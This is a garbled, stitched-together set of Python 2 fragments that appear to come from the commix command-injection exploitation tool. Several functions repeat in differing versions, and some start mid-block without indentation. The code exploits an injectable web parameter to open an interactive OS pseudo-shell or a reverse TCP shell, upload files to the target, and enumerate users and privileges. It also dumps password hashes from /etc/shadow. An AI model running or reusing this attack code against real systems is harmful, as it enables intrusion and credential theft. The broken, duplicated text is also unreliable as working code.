else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n] > ").lower()
if file_access_again in settings.CHOISE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# if menu.options.verbose:
# print ""
if go_back == True:
break
gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
cu_account = output
if cu_account:
if new_line == "\n":
print ""
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
shell = output
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(new_line + settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
shell = output
try:
file_contents = "".join(str(p) for p in shell)
except TypeError:
pass
print ""
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
def current_user(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
else:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
cu_account = output
if cu_account:
print ""
cu_account = "".join(str(p) for p in output)
# Check if the user have super privileges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
is_root = output
if is_root:
sys.stdout.write(Style.BRIGHT +
"\n\n (!) The current user is " +
Style.UNDERLINE + cu_account +
Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if is_root != "0":
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "" + Style.RESET_ALL +
Style.BRIGHT + " privileged" +
Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The current user is " +
Style.UNDERLINE + cu_account + Style.RESET_ALL +
".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account +
"\n")
output_file.close()
def system_users(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE +
"' to enumerate users entries... ")
sys.stdout.flush()
print ""
cmd = settings.SYS_USERS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
sys_users = output
if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
if len(sys_users) % 3 != 0:
print "\n" + Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" in '" + settings.PASSWD_FILE + "'.\n" +
Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if menu.options.verbose:
print ""
count = count + 1
fields = sys_users.split(":")
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
print " (" + str(
count
) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[
1] + "). Home directory is in '" + Style.BRIGHT + fields[
2] + Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") '" +
fields[0] + "'" + is_privileged_nh +
"(uid=" + fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
print Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
print ""
else:
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL + "\n"
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == "POST":
settings.SYS_USERS = settings.SYS_USERS.replace("+ ", "%2B")
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
if menu.options.verbose:
print ""
sys.stdout.write(
new_line + settings.INFO_SIGN +
"Executing the 'net users' command to enumerate users entries... ")
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" via 'net users' command.\n" +
Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" in via 'net users' command.\n")
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
print settings.INFO_SIGN + "Confirming privileges of user '" + sys_users_list[
user] + "'... "
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response)
check_privs = output
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
if menu.options.verbose:
print ""
print "\n (" + str(
count
) + ") '" + Style.BRIGHT + Style.UNDERLINE + sys_users_list[
user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to enumerate users entries." + Style.RESET_ALL
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
sys.stdout.write(new_line + settings.INFO_SIGN + "Fetching '" +
settings.PASSWD_FILE +
"' to enumerate users entries... ")
sys.stdout.flush()
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" in '" + settings.PASSWD_FILE + "'.\n" +
Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " +
str(len(sys_users_list)) + " entr" +
('ies', 'y')[len(sys_users_list) == 1] +
" in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if menu.options.verbose:
print ""
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
sys.stdout.write("\n (" + str(count) + ") '" +
Style.BRIGHT + Style.UNDERLINE +
fields[0] + Style.RESET_ALL +
"'" + Style.BRIGHT +
is_privileged + Style.RESET_ALL +
"(uid=" + fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") '" +
fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
print Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.write(
"\n" + Fore.YELLOW + settings.WARNING_SIGN +
"It seems that you don't have permissions to read '" +
settings.PASSWD_FILE + "' o enumerate users entries." +
Style.RESET_ALL)
sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
#print ""
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
new_line = ""
sys_passes = output
if sys_passes == "":
sys_passes = " "
if sys_passes:
sys.stdout.write(new_line + settings.INFO_SIGN + "Fetching '" +
settings.SHADOW_FILE +
"' to enumerate users password hashes... ")
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_passes)) + " entr" +
('ies', 'y')[len(sys_passes) == 1] + " in '" +
settings.SHADOW_FILE + "'.\n" +
Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " +
str(len(sys_passes)) + " entr" +
('ies', 'y')[len(sys_passes) == 1] +
" in '" + settings.SHADOW_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[
1] != "":
print " (" + str(
count
) + ") " + Style.BRIGHT + fields[
0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
1] + Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
sys.stdout.write(
Fore.YELLOW + settings.WARNING_SIGN +
"It seems that '" + settings.SHADOW_FILE +
"' file is not in the appropriate format. Thus, it is expoted as a text file."
+ Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.write(
"\n" + Fore.YELLOW + settings.WARNING_SIGN +
"It seems that you don't have permissions to read '" +
settings.SHADOW_FILE +
"' to enumerate users password hashes." + Style.RESET_ALL)
sys.stdout.flush()
def system_users(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
print ""
cmd = settings.SYS_USERS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
if len(sys_users) % 3 != 0 :
print "\n" + Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users_list)) + " entr" + ('ies', 'y')[len(sys_users_list) == 1] + " in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " + str(len(sys_users_list)) + " entr" + ('ies', 'y')[len(sys_users_list) == 1] + " in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if menu.options.verbose:
print ""
count = count + 1
fields = sys_users.split(":")
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privilleged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privilleged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privilleged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privilleged_nh = " is non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privilleged_nh = " is regular user "
else :
is_privilleged = ""
is_privilleged_nh = ""
else :
is_privilleged = ""
is_privilleged_nh = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
print Fore.YELLOW + "(^) Warning: It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
